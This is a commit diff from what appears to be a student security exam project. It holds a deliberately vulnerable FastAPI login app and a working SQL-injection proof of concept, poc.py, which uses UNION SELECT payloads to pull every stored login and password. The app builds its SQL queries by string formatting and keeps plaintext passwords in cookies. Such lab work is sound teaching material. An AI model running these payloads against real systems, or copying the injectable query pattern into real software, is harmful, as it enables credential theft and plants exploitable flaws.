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Author SHA1 Message Date
9a1b84c267 minimal building container 2025-12-15 22:27:26 +10:00
d3e5abbc98 added readme (seems like i'm reaching my limits and getting tired) 2025-12-15 21:10:41 +10:00
30 changed files with 12 additions and 245 deletions

2
.gitignore vendored
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build
.vscode .vscode
**__pycache__ **__pycache__
data

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1
build
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docker build -t kulesh_web-app:v0.0.1a .

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services: services:
vunerable-web-app1: vunerable-web-app:
image: kulesh_web-app:v0.0.1a image: web-app:v0.0.1a
ports: ports:
- "21252:8000" - "80:8000"
volumes: volumes:
- ./data/:/app/data - ./data/:/app/data

39
poc.py
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#!/usr/bin/env python3
import requests
import re
import argparse
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
logins= logins_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

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!! Скриншоты без подписей, пожалуйста смотрите документ в yonote К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn)
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
# PC-Seq-Exam-WebApp
## Сборка
```sh
docker build -t kulesh_web-app:v0.0.1a .
```
## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
```bash
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
для запуска ставим requests,
```pip install requests```
в помошь)
```sh
python ./poc.py --base-url http://aboba.eu
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
```
Выполнил Кулеш А.Б.
Б9123-09.03.04
---
Он постоянно что-то ест, он постоянно что-то пьёт
Он быстро набирает вес, клянётся, что в спортзал пойдёт
Но продолжает что-то есть и продолжает что-то пить

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import os
import sqlite3 import sqlite3
from fastapi import FastAPI from fastapi import FastAPI
from fastapi import Request, Form
from fastapi.responses import HTMLResponse, RedirectResponse
DB_PATH = "./data/database.db"
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
cursor.execute(
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
)
app = FastAPI( app = FastAPI(
docs_url=None, # Disable Swagger UI docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc redoc_url=None, # Disable ReDoc
openapi_url=None, # Disable OpenAPI JSON schema openapi_url=None # Disable OpenAPI JSON schema
) )
STYLES = """
<style>
body {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
}
</style>
"""
@app.get("/")
@app.get("/register", response_class=HTMLResponse)
async def register_form():
return f"""
<html>
<head><title>Регистрация</title>{STYLES}</head>
<body>
<h2>Регистрация</h2>
<form action="/register" method="post">
<input name="login" placeholder="Login" required><br>
<input name="password" type="password" placeholder="Password" required><br>
<button type="submit">Register</button>
</form>
<p>Уже есть аккаунт? <a href="/login">Войти</a></p>
</body>
</html>
"""
@app.post("/register")
async def register(login: str = Form(...), password: str = Form(...)):
try:
cursor.execute(
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
)
conn.commit()
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
except sqlite3.IntegrityError:
return HTMLResponse(
f"""
<html>
<head><title>Ошибка регистрации</title>{STYLES}</head>
<body>
<h3>Login уже существует</h3>
<a href='/register'>Попробовать снова</a>
</body>
</html>
""",
status_code=400,
)
@app.get("/login", response_class=HTMLResponse)
async def login_form():
return f"""
<html>
<head><title>Вход</title>{STYLES}</head>
<body>
<h2>Вход</h2>
<form action="/login" method="post">
<input name="login" placeholder="Login" required><br>
<input name="password" type="password" placeholder="Password" required><br>
<button type="submit">Login</button>
</form>
<p>Нет аккаунта? <a href="/register">Зарегистрироваться</a></p>
</body>
</html>
"""
@app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute(
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user:
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
else:
return HTMLResponse(
f"""
<html>
<head><title>Ошибка входа</title>{STYLES}</head>
<body>
<h3>Неверные учетные данные</h3>
<a href='/login'>Попробовать снова</a>
</body>
</html>
""",
status_code=401,
)
@app.get("/welcome", response_class=HTMLResponse)
async def welcome(request: Request):
login = request.cookies.get("login")
password = request.cookies.get("password")
if not login or not password:
return RedirectResponse(url="/login")
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
print(f"executing: {query}")
cursor.execute(
query
)
user = cursor.fetchall()
if user:
return f"""
<html>
<head><title>Добро пожаловать</title>{STYLES}</head>
<body>
<h1>Привет, {str(user)[3:-4]}</h1>
<button onclick="
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
window.location.href = '/login';
">Выйти</button>
</body>
</html>
"""
else:
return RedirectResponse(url="/login")
@app.get("/", include_in_schema=False)
async def root(): async def root():
return RedirectResponse(url="/login") return {"message": "Hello World"}